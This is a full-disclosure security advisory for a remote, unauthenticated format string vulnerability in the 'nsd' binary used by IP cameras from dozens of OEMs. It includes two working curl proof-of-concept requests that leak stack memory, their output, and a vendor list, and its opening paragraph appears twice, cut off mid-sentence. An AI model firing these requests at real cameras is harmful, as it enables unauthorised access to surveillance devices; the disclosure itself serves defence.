Subject: Remote Stack Format String in 'nsd' binary from multiple OEM Attack vector: Remote Authentication: Anonymous (no credentials needed) Researcher: bashis <mcw noemail eu> (December 2017) PoC: https://github.com/mcw0/PoC Release date: December 14, 2017 Full Disclosure: 0-Day ### PoC 1) ``` $ curl 'http://[IP:PORT]/main/index.asp?ID=AAAA|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x&lg=BBBB' [...] function initHideWidget(){ document.getElementById("devip").value = "192.168.57.20"; document.getElementById("cameraid").value = 1; document.getElementById("streamid").value = 1; document.getElementById("id").value = "AAAA|5e2ff9f8|ffffffff|5e3006db|ea60|1|2|1|1|0|20cd3e0|7263733c|20747069"; document.getElementById("lg").value = "BBBB"; document.getElementById("port").value = 60000; document.getElementById("ipver").value = 1; document.getElementById("tprotocol").value = 2; document.getElementById("devtype").value = 1; document.getElementById("ismotorize").value = 1; [...] ``` Note: 'BBBB' are...
Subject: Remote Stack Format String in 'nsd' binary from multiple OEM Attack vector: Remote Authentication: Anonymous (no credentials needed) Researcher: bashis <mcw noemail eu> (December 2017) PoC: https://github.com/mcw0/PoC Release date: December 14, 2017 Full Disclosure: 0-Day ### PoC 1) ``` $ curl 'http://[IP:PORT]/main/index.asp?ID=AAAA|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x&lg=BBBB' [...] function initHideWidget(){ document.getElementById("devip").value = "192.168.57.20"; document.getElementById("cameraid").value = 1; document.getElementById("streamid").value = 1; document.getElementById("id").value = "AAAA|5e2ff9f8|ffffffff|5e3006db|ea60|1|2|1|1|0|20cd3e0|7263733c|20747069"; document.getElementById("lg").value = "BBBB"; document.getElementById("port").value = 60000; document.getElementById("ipver").value = 1; document.getElementById("tprotocol").value = 2; document.getElementById("devtype").value = 1; document.getElementById("ismotorize").value = 1; [...] ``` Note: 'BBBB' are hiding within '5e3006db' 2) ``` curl -v "http://[IP:PORT]/Maintain/upgrade.asp?ID=|%p|%p|%p|%p|%p|%p" [...] function initHideWidget(){ document.getElementById("ip").value = "192.168.57.20"; document.getElementById("id").value = "|0x5d300484|0xffffffff|0xea60|0x1|0x2|0x1"; document.getElementById("port").value = 60000; document.getElementById("ipver").value = 1; document.getElementById("tprotocol").value = 2; document.getElementById("devtype").value = 1; [...] ``` ### Affected OEM * Huatu * I-View * IP Camera Web Service * Stanley Security * 3D Eyes CCTV Platform * Protech Srl * LS vision * GWSECU * 12 Legion Solution * HDVuk IP Camera * Intervid Security * Suzuki Tech * Wellsite IP Camera * iBrido * Protec IP Camera * Maxtron IP Camera * Ascendent * GTvs IP Camera * Squilla * Bikal IP Camera * MW Power * Alfa Vision * KMA Security * Tough Dog Security * Kpro HQ * Lanetwork * AFM Vision * ZetaDo * Jobsight Inc. * Datalab IP Technologies * 4Tvision * Proline UK * Tanz * Aisonic * HD-IP * PreSec Security Solution * EagleVision * Elemis Delta * Imenara * Gigamedia * Xavee * Honeywell * Boss Security * A.R.T Surveillance * Global Security * Securicorp * Securetech * Vapplica * Star * Stic * NeXus * Alnet * Spy Smart * Kompsos * Adler Security Systems * Nextan * Access * Toprotect * Kawah * LS StrateX * Senpei CCTV * Metcom * AFM Vision * Doron Technologies * Saviour Smart IoT Systems * Eagle-Eye * Faucon.at * BlueEagle Security * Campro * Opple * Level One * Video and Monitor System * K&D